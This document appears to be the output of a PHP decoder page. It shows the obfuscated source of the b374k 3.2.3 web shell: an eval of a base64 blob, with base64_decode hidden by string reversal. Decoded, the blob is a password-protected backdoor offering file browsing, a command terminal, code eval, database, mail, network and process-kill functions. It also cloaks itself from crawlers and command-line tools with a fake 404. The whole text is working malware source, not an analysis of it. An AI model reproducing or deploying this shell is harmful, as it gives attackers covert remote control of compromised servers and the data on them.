W52YWxpZCBzdHJlYW0gdGltZW91dCcpOwoJCXJldHVybjsKCX0KCglpZihwYWNrZXRTdGFydFBvcnQ+cGFja2V0RW5kUG9ydCl7CgkJc3RhcnQgPSBwYWNrZXRFbmRQb3J0OwoJCWVuZCA9IHBhY2tldFN0YXJ0UG9ydDsKCX0KCWVsc2V7CgkJc3RhcnQgPSBwYWNrZXRTdGFydFBvcnQ7CgkJZW5kID0gcGFja2V0RW5kUG9ydDsKCX0KCglwYWNrZXRSZXN1bHQuaHRtbCgnJyk7Cgl3aGlsZShzdGFydDw9ZW5kKXsKCQlwYWNrZXRQb3J0ID0gc3RhcnQrKzsKCQlwYWNrZXRSZXN1bHQuYXBwZW5kKCI8aHI+PGRpdj48cCBjbGFzcz0nYm94dGl0bGUnPkhvc3QgOiAiK2h0bWxfc2FmZShwYWNrZXRIb3N0KSsiOiIrcGFja2V0UG9ydCsiPC9wPjxicj48ZGl2IGlkPSdwYWNrZXQiK3BhY2tldFBvcnQrIicgc3R5bGU9J3BhZGRpbmc6MnB4IDRweDsnPldvcmtpbmcuLi4gcGxlYXNlIHdhaXQuLi48L2Rpdj48L2Rpdj4iKTsKCQlwYWNrZXRfc2VuZChwYWNrZXRIb3N0LCBwYWNrZXRQb3J0LCBwYWNrZXRFbmRQb3J0LCBwYWNrZXRUaW1lb3V0LCBwYWNrZXRTVGltZW91dCwgcGFja2V0Q29udGVudCk7CgoJfQp9CgpmdW5jdGlvbiBwYWNrZXRfc2VuZChwYWNrZXRIb3N0LCBwYWNrZXRQb3J0LCBwYWNrZXRFbmRQb3J0LCBwYWNrZXRUaW1lb3V0LCBwYWNrZXRTVGltZW91dCwgcGFja2V0Q29udGVudCl7CglzZW5kX3Bvc3Qoe3BhY2tldEhvc3Q6cGFja2V0SG9zdCwgcGFja2V0UG9ydDpwYWNrZXRQb3J0LCBwYWNrZXRFbmRQb3J0OnBhY2tldEVuZFBvcnQsIHBhY2tldFRpbWVvdXQ6cGFja2V0VGltZW91dCwgcGFja2V0U1RpbWVvdXQ6cGFja2V0U1RpbWVvdXQsIHBhY2tldENvbnRlbnQ6cGFja2V0Q29udGVudH0sIGZ1bmN0aW9uKHJlcyl7CgkJJCgnI3BhY2tldCcrcGFja2V0UG9ydCkuaHRtbChyZXMpOwoJfSwgZmFsc2UpOwp9CgpaZXB0byhmdW5jdGlvbigkKXsKCXNob3dfcHJvY2Vzc2VzKCk7Cn0pOwoKZnVuY3Rpb24gc2hvd19wcm9jZXNzZXMoKXsKCXNlbmRfcG9zdCh7c2hvd1Byb2Nlc3NlczonJ30sIGZ1bmN0aW9uKHJlcyl7CgkJaWYocmVzIT0nZXJyb3InKXsKCQkJJCgnI3Byb2Nlc3NlcycpLmh0bWwocmVzKTsKCQkJc29ydHRhYmxlLmsoJCgnI3BzVGFibGUnKS5nZXQoMCkpOwoJCQlwc19iaW5kKCk7CgkJfQoJfSk7Cn0KCmZ1bmN0aW9uIHBzX2JpbmQoKXsKCSQoJy5raWxsJykub2ZmKCdjbGljaycpOwoJJCgnLmtpbGwnKS5vbignY2xpY2snLCBmdW5jdGlvbihlKXsKCQlraWxsX3BpZChwc19nZXRfcGlkKCQodGhpcykpKTsKCX0pOwoKCgljYm94X2JpbmQoJ3BzVGFibGUnLCdwc191cGRhdGVfc3RhdHVzJyk7Cn0KCmZ1bmN0aW9uIHBzX2dldF9waWQoZWwpewoJcmV0dXJuIGVsLnBhcmVudCgpLnBhcmVudCgpLmF0dHIoJ2RhdGEtcGlkJyk7Cn0KCmZ1bmN0aW9uIHBzX3VwZGF0ZV9zdGF0dXMoKXsKCXRvdGFsU2VsZWN0ZWQgPSAkKCcjcHNUYWJsZScpLmZpbmQoJy5jQm94U2VsZWN0ZWQnKS5ub3QoJy5jQm94QWxsJykubGVuZ3RoOwoJaWYodG90YWxTZWxlY3RlZD09MCkgJCgnLnBzU2VsZWN0ZWQnKS5odG1sKCcnKTsKCWVsc2UgJCgnLnBzU2VsZWN0ZWQnKS5odG1sKCcgKCAnK3RvdGFsU2VsZWN0ZWQrJyBpdGVtKHMpIHNlbGVjdGVkICknKTsKfQoKZnVuY3Rpb24ga2lsbF9zZWxlY3RlZCgpewoJYnVmZmVyID0gZ2V0X2FsbF9jYm94X3NlbGVjdGVkKCdwc1RhYmxlJywgJ3BzX2dldF9waWQnKTsKCglhbGxQaWQgPSAnJzsKCSQuZWFjaChidWZmZXIsZnVuY3Rpb24oaSx2KXsKCQlhbGxQaWQgKz0gdiArICcgJzsKCX0pOwoJYWxsUGlkID0gJC50cmltKGFsbFBpZCk7CglraWxsX3BpZChhbGxQaWQpOwp9CgpmdW5jdGlvbiBraWxsX3BpZChhbGxQaWQpewoJdGl0bGUgPSAnS2lsbCc7Cgljb250ZW50ID0gIjx0YWJsZSBjbGFzcz0nYm94dGJsJz48dHI+PHRkIGNvbHNwYW49JzInPjx0ZXh0YXJlYSBjbGFzcz0nYWxsUGlkJyBzdHlsZT0naGVpZ2h0OjEyMHB4O21pbi1oZWlnaHQ6MTIwcHg7JyBkaXNhYmxlZD4iK2FsbFBpZCsiPC90ZXh0YXJlYT48L3RkPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPScyJz48c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPVwia2lsbF9waWRfZ28oKTtcIj5raWxsPC9zcGFuPjwvdGQ+PC90cj48L3RhYmxlPiI7CglzaG93X2JveCh0aXRsZSwgY29udGVudCk7Cn0KCmZ1bmN0aW9uIGtpbGxfcGlkX2dvKCl7CglhbGxQaWQgPSAkKCcuYWxsUGlkJykudmFsKCk7CglpZigkLnRyaW0oYWxsUGlkKSE9JycpewoJCXNlbmRfcG9zdCh7YWxsUGlkOmFsbFBpZH0sIGZ1bmN0aW9uKHJlcyl7CgkJCWlmKHJlcyE9J2Vycm9yJyl7CgkJCQkkKCcuYm94cmVzdWx0JykuaHRtbChyZXMgKyAnIHByb2Nlc3MoZXMpIGtpbGxlZCcpOwoJCQl9CgkJCWVsc2UgJCgnLmJveHJlc3VsdCcpLmh0bWwoJ1VuYWJsZSB0byBraWxsIHByb2Nlc3MoZXMpJyk7CgkJCXNob3dfcHJvY2Vzc2VzKCk7CgkJfSk7Cgl9Cn0KCgo8P3BocAoJZm9yZWFjaCgkR0xPQkFMU1snbW9kdWxlX3RvX2xvYWQnXSBhcyAkayl7CgkJZWNobyAiZnVuY3Rpb24gIi4kR0xPQkFMU1snbW9kdWxlJ11bJGtdWydpZCddLiIoKXsgIi4kR0xPQkFMU1snbW9kdWxlJ11bJGtdWydqc19vbnRhYnNlbGVjdGVkJ10uIiB9XG4iOwoJfQo/Pgo8L3NjcmlwdD4KPCEtLXNjcmlwdCBlbmQtLT4KPC9ib2R5Pgo8L2h0bWw+PD9waHAgZGllKCk7Pz4K'); 
eval($b); ?>

Did this file decode correctly?

Original Code

<?php
$a = strrev('EdOcEd_46eSaB');  // base64_decode
$b= $a('Ci8qCgliMzc0ayBzaGVsbCAzLjIuMwoJSmF5YWxhaCBJbmRvbmVzaWFrdQoJKGMpMjAxNAoJaHR0cHM6Ly9naXRodWIuY29tL2IzNzRrL2IzNzRrCgoqLwokR0xPQkFMU1sncGFzcyddID0gImZiNjIxZjUwNjBiOWY2NWFjZjhlYjQyMzJlMzAyNDE0MGRlYTJiMzQiOyAvLyBzaGExKG1kNShwYXNzKSkKJEdMT0JBTFNbJ21vZHVsZV90b19sb2FkJ10gPSBhcnJheSgiZXhwbG9yZXIiLCAidGVybWluYWwiLCAiZXZhbCIsICJjb252ZXJ0IiwgImRhdGFiYXNlIiwgImluZm8iLCAibWFpbCIsICJuZXR3b3JrIiwgInByb2Nlc3NlcyIpOyRHTE9CQUxTWydyZXNvdXJjZXMnXVsnYjM3NGsnXSA9ICJoVlhacnJNNEVuNmdqQVJoQzh5b0w5aFhROWdEZDJ4aEo1eXc4L1RqL09lZjd0UFNTRzNKd2paVlh5MWZsWjBuYy9MdnVrL0tBaG1IOGo5cE1oVVU4YTg2NEN4blEzVzVmTEZ3bUs1ZmlYNEpWOXhueTlvOEczMitUeHBocXM5Q2ZqaFNxRGhlaXNWb2prbEhiSE5jTEROMTdISmFHa3BESEdoZEZEcGtsblhkL2FOd2FHTWdWV2dvWG9IVm0ydnFrdFczUEVta0QvWjdDQnRTS0Z3VllYT1g4MXdkaC9tWU5taDl1eTJJV25OakxLQjFjQVltRUsrYmpRV3Z4SytvckErOG9pWDlDQi9mMGRtMWFrTmZWR0VucktHYU0vbmE1YkpZRnZKMVNnZEFGVkFmK3JSR3ZVOTk5bWtZb0pGTDE2cFNVbEJteStXSlVWdXBUVEd0VTZYSzlIbE9TSEc0RnZ3RkhOY0dDT0t1Q2hGbU5DSnFlaEVHM0swRURidURtdDQrMDZ6UjNSUmVWN041SGViQmxpci9lelpFZVZlME5tNUcxeEdqUC8zSmVxZS91OW9yVjV6TnF1azF4M1BjR0xMVDZKa2pQdWpkOGxyU09ObkRPTlhEZUVEOStub1dJWWxHajNLRytzMFBYREYrbUUzV2R6Q0diazFyN29qbGlJcENiYzBmTnFQVzZsODVnSEgrdEFuUGx0ODVXU0tNbVEyOHFqS2UzbzJHWFdIT2lUVGNsK3djSVVlYzZYbG9uU2dPbWdtdjFjQkk2T2Qzcm94ZmZESkU5R0JYNEJLYmdWMW40L2pMWm9ZN2JoeEdqTnBYYUs2d2xIRXdTM2I4eVgrVFl1aGF5Tkptbk9JQ2VPWU1sRzZMWGNhRk1VSC90ZVpUUzNFTklFK1FVMkVVSU9kVkxqTkhJRE5yQ2ptMXYvMHZmYmxhNGZtWnlNeW1pcVpuMXV3cndMb0Yyc0d6by8zV0Y2K20xWFlMOUtsS2U3TnpmWmlmVDYzdzVKaUVOZ1ZhUnpJaHgwQ3dDU0NVQi9Ba0NhQ1M0QWc1WjZMZ3REeDJOODlZc3Yzb0J4NjBqd2R6RExuNWdkZitIYy8vUjd4N3pkSWZmandmcFJ3NU9KSkgzTVZpZk1EOGxMOXpTQ1VoZWVheUJMa0tOQWZHL3BFMytnNzJ4dXR3UkI4MW0yZ0RUYmxaZ3JvRDN6OXQzeFJOVk1UdEU1Q3dmbkd6RFRnSDFzUC84R0J1bWp5OGR1bmcvTUJ6L281My9pUGUrdkhkd1A5UExYNXFsR2QrMWFQZk92SzMzSGUvL2VvL0QvNFhHQ0tUcFNiQkFsU1ZnK1hUNTFtdEl2ZUY4a1B0Yysvb2grczdYS0EweVZNeWMxY3pLMG01RmNpekV0cDNqOVVvYm8vVnRGZVJXd0xWTDlXaXJuVUtjWGxXOTNTemsxN2l6RGxQY1gxRUZiaWdzZzFtNEJ1M0w3ZjhjbEdiTjNWUGNLbE1DK1dhR3NqYkxWNXhwTGlrRndZbjRuSy9Qd1V1eDVzN1RlN25NRmpXdVR4UHd1WGZOK2ZXRHJwVkVrVVM1RXg0NThvcGpoRGNqTE5RUXowNVNmUmlpYy95eEpZQ2xKSjBHYWx3TUZDTGJVNmdYNTUwZTlsS1luL3NKbk1WeUdHaVh5M05Pd3JwWXZLcmRHbUYwOXZydnVTWGhlUFViZXpKODNEV0VMbE1DcXN0Z0I2bU4xREZUcWxSSkZIWVh1b1FTOFZDNTdDSzlhMGowYVpKTHdFdE1xbDlobk0xQ3FhalhQbHNKbUxyZEpLeWV5RENGRjI4elB6eS9Cd2JLN0Y1WGEwNkxFbGQ5eXZOUzVlRWVuamV6ZFZYdHpOR09lUW93VytXMEM1Q3BDZHFUUTJyRnkyc25IZkI1dExheG5qYUFUTDN5RFF3M250SzNwZ0Z2cWkzRmVDUEs3TU5tZWFicmpnTnVqdUY5WE5IT1QzeXlyd1M5bG8wdVdjVDg4dXVGYzBERFlubk82N1oySXo5WUEvMDZObG54Nko3NnBXTWQzMGpWUFpHSkR5djFxRDRpb1Z4RHRVbG9DOFYyejRzU0M5VEpJWjV2RmZybVkrRVBDSlNvM2NqY0ZNRGRCR1dWM3pDWitMZ2ErVk1UaEpoZjdXdHFrOENPOHVQZ2JGZHIrcEFML0VsWGZxOWFJenRvMlFZNldWdXBhaGhEY2VGNDR1N0kvVEUzMWhRSTJLRWlLdmhjN2JHanhid0dPeGFDVEtwdFdyWjNYTWF1WW1xTkxvVmI0UGh6VWJUTzBSTFEzVDh6VE9mSzN3amsrNlY1MkcvTGhocDd0NjVKaklGUk1NSkhqcmlsZ2I5VkdLR2JTYkE2LzRwZlhHVjI5Z3gyNzU1YXEyL2p1T2lHdm51MzI1a3F1RHNQVWk3RUcvd082ekhqRWhsVlRIdjhHNGhjamFUOG5ucVBQUm1oZGxhT1lHbXJzRmNvZ2d6Vk5wYkJsOWY0VGxLNmJXUW9xVU9ubm5LOHBsc2Rlc1o3V2htRlZzU3VQT3gxQkhwNDVvVXBFbFY3WGhoRS9UWXZmRlhLc3pLbDd0N1RrenB6Sk84bDZ6STlraTFzb0xheXBiOTZ3bDMvY0J5ZEpLUFZQV1Avd0k9IjsKJEdMT0JBTFNbJ3Jlc291cmNlcyddWydtaW1lJ10gPSAiZFpUaGRxTWdFSVgvN3puN0R2TUMyalo2MnQzSG1RZ2FHa2VwQ0RGdnZ4ZU5pczMyeHgzaHV3TVltVWt3U3ZjdlJXTXRJZnorRmJiNUNlQzBnc3ZwL1kxaVNFQVJRWkdBTW9KeUJaOVdOL1JwbTdBRG9VV05yRXcrVDdUSWJtZUpMZW1oZ05DVXU0RWRIMkVla0x3aDQ3U2QwRGNOOWZ1Qlg5NVUxOUdJcHErUnBOOTQ2RlN1ZEtYeml5SWZMbEM0UEhuU24wMnI0VW4wNWNtM2NhMk5ubjN5WFBSYzlOeVROMCtqRlhWOHBYRE82M2dtQmltdncwaFFpdUpIOEVOTE1ubVMwaDhzbDltVzc0Tm1kYzlGSzhPNXZRZUMwaXljN2ZQNGtYM3c4VVVPV3dRVGVrSlkyVTJmaFdKWXdaVFZ1Qm9vQWEwaEtBWElhSk1NaWJlWkxoRWVoOTVkbWVRSzUxb29CSmZZSGU2NGF4TGdNblkxTFpvT1BQUm5nZzdzaG5lV2J5UUFoVzlzQWp2dWRndGc0Y0NXVytPUS9FRFhtQXhGWlRUTk1URndqSXZIc0ZlbWYyRmxLeUhFRlp6Wm1ZcllrK3ZVeXNRb1F3ZzBENjQ4MENCbU01ZG00SDIrdEFDK0hMb1Vpb01DallCbnNXVXR6Y0FVbjg1T0szYUZFTFJOVFhzbGhIVysxZWs4Uldsd0xBOCsyS1l4STdmWnpYVEtrZTZQYXdjbTZJQkdSOUEzRkpzUGo0dEtlZXNyM1kxNTZFMmxxUTAyOWY1YjJJekNQaHpXZVQxd2poL1EydkxQNnl0dG94K1NQc3FQUjFJYy9aRDA5MzNkS1k3U3BNRllnbGEwZHNyMlNsUEdqTHZtS2dHbVJnR2JXWE5JdklwcmduWlF0MWdldzQ2U3RrbU8yZjRSQ3A5QTFES2psbms2TW1IVWZMTFlkaGsrYTd0YytjQkN3dzhtYnNBM3BrTngyajNoeG1ncjN1cDlFcHJrSHc9PSI7CiRHTE9CQUxTWydyZXNvdXJjZXMnXVsnYXJyb3cnXSA9ICJGWlhIRHF0WURJWWZLQ1BSUzJaMEY0Y1NlbStCSGZWUUE2SEQwMCt1Ri9abnkyWHpTeTdTTmYyM0dWSllJdE1IL3BlbFMwbVQvelFoWjdrSHFrbHdCRDh6dmFBV0EvZ2ovbThLSUEvaVgrRHU4ak9qZnd2OG0xT2l0L0dqeGZzNVhZU3lSN3daOXNkaUxQYWlFN3J4d1ladkR6M3owRzBmTjlQdDFQcWlETHV5Umd6QTdzVnBvMk52TDNDZHk2cDFlU1MzVW0yMWVacWZXMnVjNlhjOVNUWWpHMEU4enliWjNseFlyR0xnbWlqNkZUZ0Qrb0UxZkh6UnlCOUlYcElGbFQrNko4WEFSTlJpdnFBRUx5Tlc2OTRmQllLZ2RRNTRpMlJxdU9nb0l3T3FFcFJLNkc2NnFrNEhqRkNBV1g5TlJwNWNVNmhNc2R2U1FoaUdDWHI3SG1meWwvVGFSOUt3akR4bGRXTnA5d3g3enV4MnNZMHVXVUFCRHhVUVdob0cyRHQ4V2xPWUl1SDhmanBlajBsMEFnM2swMUFIWXlMTk5vN2V4ekFTN2pjelRrNW9vZ3pObEVUVkw1ZzJUY0xZUUk3bjV5KzlkUlh6Z040ejE5ZktyNG1QQ3NMbStaNGZoYzluRmFiN09Sak1KU09hckgwWHhKTThiTUhCS2hFTnpncmVFbkI0UndGTmdVYjF3bTZ5TUZkOXN5UnQwclBDaEZKNGU3RDJtZDYzL2N6RkUrQjJMc054RXBrd1plTG50U1V1VXl1Q1RaR2IwYllNQmk5UGZUM0FDYUsvZllkVUU4R3pldUxYYkkwV2lJL3pSVDdzbldNVjd2WGMwQkxGd1F2SWZTWUtqZ3RvSWlLSk84cmVGVjRhaG5NQTFKUmRLeDFITWl5eU1vWm5NZ1FYN1cySmI0L3R1ZGFEUnRKT1VnWlk1RkFGYnBFbllRaUFCRVU1RStYeUt1M3BxUml6aDY3NkIyOVNzeWsxWlpjWndMS3dsbXM1aWdjbk9wMSsxZWtTU1FLOUx2MFMyWm5IOTJqcmdFYmpOMGI5ZE80NE9LNFo0bUljMlZ4b3h4WmVwek8rV0x6Y0pycmE4d1lHNVJLcUROZTN3K09EUW5yUHprK095Wm8rejhrTDhISzNYTmhjYzdDeTkyY1ZZVzNXc1ZacFN6WkNWRW9wTWxVdW4vWGxPRnpUV25WcHQ4U2hBRm1ac3hWQjNzTldrdkxBVVN4ZHloV01nZWExeUg0akpWQmIzUWFBRlByeFUzdjZWRDdEc0ZwT0NWeFN3UlpzVEZzdzZHYTFxRm1WVXhTM3RWOVdqSmtoa3haQU1hSExBNyswTko3ZHk5YWJrbXFocHBSOW9BWUlKTTlnM09IVEQrOCt3UXRrWU1DaUhTeFF4TUV6V3Zra3RLUHpnc2tmZC9GM200V0gwOWxBZlV0VGhRK0pBMnBNdmJuSjZ0OFNMd2R0elh2UjQ3WmUwWjBWa0M1RjZjN2VTeGw2bjgvcHVkSVlHbDg5TWl0eklIRXVYeFZZRDNKK3F0OW9RNFBKcXNRakVPZXdldEhaRVVmOFVDUllqSHc3dm14b2UwQmp0eDU5cDRQZnRSckRxWERSWFRMcVExTkdMVkU2MTNQVlpteWFpUmU2U25WOWI4U0NkQTkxQjdhMWhCOFJTM3hXSElYZFk2VDlUd0NjMHhSaTNJWkdUQjc0VlNzNnJMa3JYVm0walZqalFOc3RFejNEQ05PcFZ5M1hrOTFjVkp4YmFPS0ViRnZyUUN5MmZ4U1V6aGFudlBxNWJtY2NOV1RQRzNVYk1zWG9QV1NTNVRUVHZvL1c4THNpWjZTZHpkbTJxR1NxSmFwdnVuY2IvamxJMWM0aTYwTk41M1Rhc29nd0wwYS9HRm55RjRsZ2lHWFcyTjdCTnlMNUVFeVFBNDJMZFp0YW8yUzlmK3JlQTA0UURiYUVRdFJnMFlSbGIvRTBrc3ljaTRNTTFIbFZ2dnFRbHowYXFNWGVzc2x2cXo3WTRiYUwwV3ZOSHZmbFJuTE54TFI1SUZmYjlLclpUOTdMb3R6OE9GdEpKajl1Z1NGaFZZeTluemN1UnZDK3ZiRjZ6ZHJXcFl0UGVrK3J4amFlTW9nNHB2T0liSjN3T1RRbUZiM2QvYXROOUhWN1pzdVpGQUlSbmdoMG9WUUtaWGIrZmdCT2RRTktuRHNWUXZqbnovOD0iOwokR0xPQkFMU1sndmVyJ10gPSAiMy4yLjMiOwokR0xPQkFMU1sndGl0bGUnXSA9ICJiMzc0ayI7CgpAb2Jfc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKEVfRVJST1IgfCBFX1dBUk5JTkcgfCBFX1BBUlNFIHwgRV9OT1RJQ0UpOwpAaW5pX3NldCgnaHRtbF9lcnJvcnMnLCcwJyk7CkBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsJzEnKTsKQGluaV9zZXQoJ2Rpc3BsYXlfc3RhcnR1cF9lcnJvcnMnLCcxJyk7CkBpbmlfc2V0KCdsb2dfZXJyb3JzJywnMCcpOwpAc2V0X3RpbWVfbGltaXQoMCk7CkBjbGVhcnN0YXRjYWNoZSgpOwoKaWYoIWZ1bmN0aW9uX2V4aXN0cygnYXV0aCcpKXsKCWZ1bmN0aW9uIGF1dGgoKXsKCQlpZihpc3NldCgkR0xPQkFMU1sncGFzcyddKSAmJiAodHJpbSgkR0xPQkFMU1sncGFzcyddKSE9JycpKXsKCQkJJGMgPSAkX0NPT0tJRTsKCQkJJHAgPSAkX1BPU1Q7CgkJCWlmKGlzc2V0KCRwWydwYXNzJ10pKXsKCQkJCSR5b3VyX3Bhc3MgPSBzaGExKG1kNSgkcFsncGFzcyddKSk7CgkJCQlpZigkeW91cl9wYXNzPT0kR0xPQkFMU1sncGFzcyddKXsKCQkJCQlzZXRjb29raWUoInBhc3MiLCAkeW91cl9wYXNzLCB0aW1lKCkrMzYwMDAsICIvIik7CgkJCQkJaGVhZGVyKCJMb2NhdGlvbjogIi5nZXRfc2VsZigpKTsKCQkJCX0KCQkJfQoKCQkJaWYoIWlzc2V0KCRjWydwYXNzJ10pIHx8ICgoaXNzZXQoJGNbJ3Bhc3MnXSkmJigkY1sncGFzcyddIT0kR0xPQkFMU1sncGFzcyddKSkpKXsKCQkJCSRyZXMgPSAiPCFkb2N0eXBlIGh0bWw+CgkJPGh0bWw+CgkJPGhlYWQ+CgkJPG1ldGEgY2hhcnNldD0ndXRmLTgnPgoJCTxtZXRhIG5hbWU9J3JvYm90cycgY29udGVudD0nbm9pbmRleCwgbm9mb2xsb3csIG5vYXJjaGl2ZSc+CgkJPG1ldGEgbmFtZT0ndmlld3BvcnQnIGNvbnRlbnQ9J3dpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAsIG1heGltdW0tc2NhbGU9MS4wLCB1c2VyLXNjYWxhYmxlPW5vLCB1c2VyLXNjYWxhYmxlPTAnPgoJCTwvaGVhZD4KCQk8Ym9keSBzdHlsZT0nYmFja2dyb3VuZDojZjhmOGY4O2NvbG9yOiMwMDAwMDA7cGFkZGluZzowO21hcmdpbjowOyc+PGJyPjxwPjxjZW50ZXI+PG5vc2NyaXB0PllvdSBuZWVkIHRvIGVuYWJsZSBqYXZhc2NyaXB0PC9ub3NjcmlwdD48L2NlbnRlcj48L3A+CgkJPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnPgoJCXZhciBkID0gZG9jdW1lbnQ7CgkJZC53cml0ZShcIjxicj48YnI+PGZvcm0gbWV0aG9kPSdwb3N0Jz48Y2VudGVyPjxpbnB1dCB0eXBlPSdwYXNzd29yZCcgaWQ9J3Bhc3MnIG5hbWU9J3Bhc3MnIHN0eWxlPSdmb250LXNpemU6MzRweDt3aWR0aDozNCU7b3V0bGluZTpub25lO3RleHQtYWxpZ246Y2VudGVyO2JhY2tncm91bmQ6I2ZmZmZmZjtwYWRkaW5nOjhweDtib3JkZXI6MXB4IHNvbGlkICNjY2NjY2M7Ym9yZGVyLXJhZGl1czo4cHg7Y29sb3I6IzAwMDAwMDsnPjwvY2VudGVyPjwvZm9ybT5cIik7CgkJZC5nZXRFbGVtZW50QnlJZCgncGFzcycpLmZvY3VzKCk7CgkJZC5nZXRFbGVtZW50QnlJZCgncGFzcycpLnNldEF0dHJpYnV0ZSgnYXV0b2NvbXBsZXRlJywgJ29mZicpOwoJCTwvc2NyaXB0PgoJCTwvYm9keT48L2h0bWw+CgkJIjsKCQkJCWVjaG8gJHJlczsKCQkJCWRpZSgpOwoJCQl9CgkJfQoJfQp9CgppZighZnVuY3Rpb25fZXhpc3RzKCdnZXRfc2VydmVyX2luZm8nKSl7CglmdW5jdGlvbiBnZXRfc2VydmVyX2luZm8oKXsKCQkkc2VydmVyX2FkZHIgPSBpc3NldCgkX1NFUlZFUlsnU0VSVkVSX0FERFInXSk/ICRfU0VSVkVSWydTRVJWRVJfQUREUiddOiRfU0VSVkVSWyJIVFRQX0hPU1QiXTsKCQkkc2VydmVyX2luZm9bJ2lwX2FkcnJlc3MnXSA9ICJTZXJ2ZXIgSVAgOiAiLiRzZXJ2ZXJfYWRkci4iIDxzcGFuIGNsYXNzPSdzdHJvbmcnPnw8L3NwYW4+IFlvdXIgSVAgOiAiLiRfU0VSVkVSWydSRU1PVEVfQUREUiddOwoJCSRzZXJ2ZXJfaW5mb1sndGltZV9hdF9zZXJ2ZXInXSA9ICJUaW1lIDxzcGFuIGNsYXNzPSdzdHJvbmcnPkA8L3NwYW4+IFNlcnZlciA6ICIuQGRhdGUoImQgTSBZIEg6aTpzIix0aW1lKCkpOwoJCSRzZXJ2ZXJfaW5mb1sndW5hbWUnXSA9IHBocF91bmFtZSgpOwoJCSRzZXJ2ZXJfc29mdHdhcmUgPSAoZ2V0ZW52KCdTRVJWRVJfU09GVFdBUkUnKSE9JycpPyBnZXRlbnYoJ1NFUlZFUl9TT0ZUV0FSRScpLiIgPHNwYW4gY2xhc3M9J3N0cm9uZyc+fDwvc3Bhbj4gIjonJzsKCQkkc2VydmVyX2luZm9bJ3NvZnR3YXJlJ10gPSAkc2VydmVyX3NvZnR3YXJlLiIgIFBIUCAiLnBocHZlcnNpb24oKTsJCQoJCXJldHVybiAkc2VydmVyX2luZm87Cgl9Cn0KCmlmKCFmdW5jdGlvbl9leGlzdHMoJ2dldF9zZWxmJykpewoJZnVuY3Rpb24gZ2V0X3NlbGYoKXsKCQkkcXVlcnkgPSAoaXNzZXQoJF9TRVJWRVJbIlFVRVJZX1NUUklORyJdKSYmKCFlbXB0eSgkX1NFUlZFUlsiUVVFUllfU1RSSU5HIl0pKSk/Ij8iLiRfU0VSVkVSWyJRVUVSWV9TVFJJTkciXToiIjsKCQlyZXR1cm4gaHRtbF9zYWZlKCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLiRxdWVyeSk7Cgl9Cn0KCmlmKCFmdW5jdGlvbl9leGlzdHMoJ2dldF9wb3N0JykpewoJZnVuY3Rpb24gZ2V0X3Bvc3QoKXsKCQlyZXR1cm4gZml4X21hZ2ljX3F1b3RlKCRfUE9TVCk7Cgl9Cn0KCmlmKCFmdW5jdGlvbl9leGlzdHMoJ2dldF9uYXYnKSl7CglmdW5jdGlvbiBnZXRfbmF2KCRwYXRoKXsKCQlyZXR1cm4gcGFyc2VfZGlyKCRwYXRoKTsKCX0KfQoKaWYoIWZ1bmN0aW9uX2V4aXN0cygnZ2V0X2N3ZCcpKXsKCWZ1bmN0aW9uIGdldF9jd2QoKXsKCQkkY3dkID0gZ2V0Y3dkKCkuRElSRUNUT1JZX1NFUEFSQVRPUjsKCQlpZighaXNzZXQoJF9DT09LSUVbJ2N3ZCddKSl7CgkJCXNldGNvb2tpZSgiY3dkIiwgJGN3ZCk7CgkJfQoJCWVsc2V7CgkJCSRjd2RfYyA9IHJhd3VybGRlY29kZSgkX0NPT0tJRVsnY3dkJ10pOwoJCQlpZihpc19kaXIoJGN3ZF9jKSkgJGN3ZCA9IHJlYWxwYXRoKCRjd2RfYykuRElSRUNUT1JZX1NFUEFSQVRPUjsKCQkJZWxzZSBzZXRjb29raWUoImN3ZCIsICRjd2QpOwoJCX0KCQlyZXR1cm4gJGN3ZDsKCX0KfQoKaWYoIWZ1bmN0aW9uX2V4aXN0cygnd3JhcF93aXRoX3F1b3RlcycpKXsKCWZ1bmN0aW9uIHdyYXBfd2l0aF9xdW90ZXMoJHN0cil7CgkJcmV0dXJuICJcIiIuJHN0ci4iXCIiOwoJfQp9CgppZighZnVuY3Rpb25fZXhpc3RzKCdnZXRfcmVzb3VyY2UnKSl7CglmdW5jdGlvbiBnZXRfcmVzb3VyY2UoJHR5cGUpewoJCWlmKGlzc2V0KCRHTE9CQUxTWydyZXNvdXJjZXMnXVskdHlwZV0pKXsKCQkJcmV0dXJuIGd6aW5mbGF0ZShiYXNlNjRfZGVjb2RlKCRHTE9CQUxTWydyZXNvdXJjZXMnXVskdHlwZV0pKTsKCQl9CgkJcmV0dXJuIGZhbHNlOwoJfQp9CgppZighZnVuY3Rpb25fZXhpc3RzKCdibG9ja19ib3QnKSl7CglmdW5jdGlvbiBibG9ja19ib3QoKXsKCQkvLyBibG9jayBzZWFyY2ggZW5naW5lIGJvdAoJCWlmKGlzc2V0KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgJiYgKHByZWdfbWF0Y2goJy9ib3R8c3BpZGVyfGNyYXdsZXJ8c2x1cnB8dGVvbWF8YXJjaGl2ZXx0cmFja3xzbm9vcHl8amF2YXxsd3B8d2dldHxjdXJsfGNsaWVudHxweXRob258bGlid3d3L2knLCAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSl7CgkJCWhlYWRlcigiSFRUUC8xLjAgNDA0IE5vdCBGb3VuZCIpOwoJCQloZWFkZXIoIlN0YXR1czogNDA0IE5vdCBGb3VuZCIpOwoJCQlkaWUoKTsKCQl9CgkJZWxzZWlmKCFpc3NldCgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKXsKCQkJaGVhZGVyKCJIVFRQLzEuMCA0MDQgTm90IEZvdW5kIik7CgkJCWhlYWRlcigiU3RhdHVzOiA0MDQgTm90IEZvdW5kIik7CgkJCWRpZSgpOwoJCX0KCX0KfQoKaWYoIWZ1bmN0aW9uX2V4aXN0cygnaXNfd2luJykpewoJZnVuY3Rpb24gaXNfd2luKCl7CgkJcmV0dXJuIChzdHJ0b2xvd2VyKHN1YnN0cihwaHBfdW5hbWUoKSwwLDMpKSA9PSAid2luIik/IHRydWUgOiBmYWxzZTsKCX0KfQoKaWYoIWZ1bmN0aW9uX2V4aXN0cygnZml4X21hZ2ljX3F1b3RlJykpewoJZnVuY3Rpb24gZml4X21hZ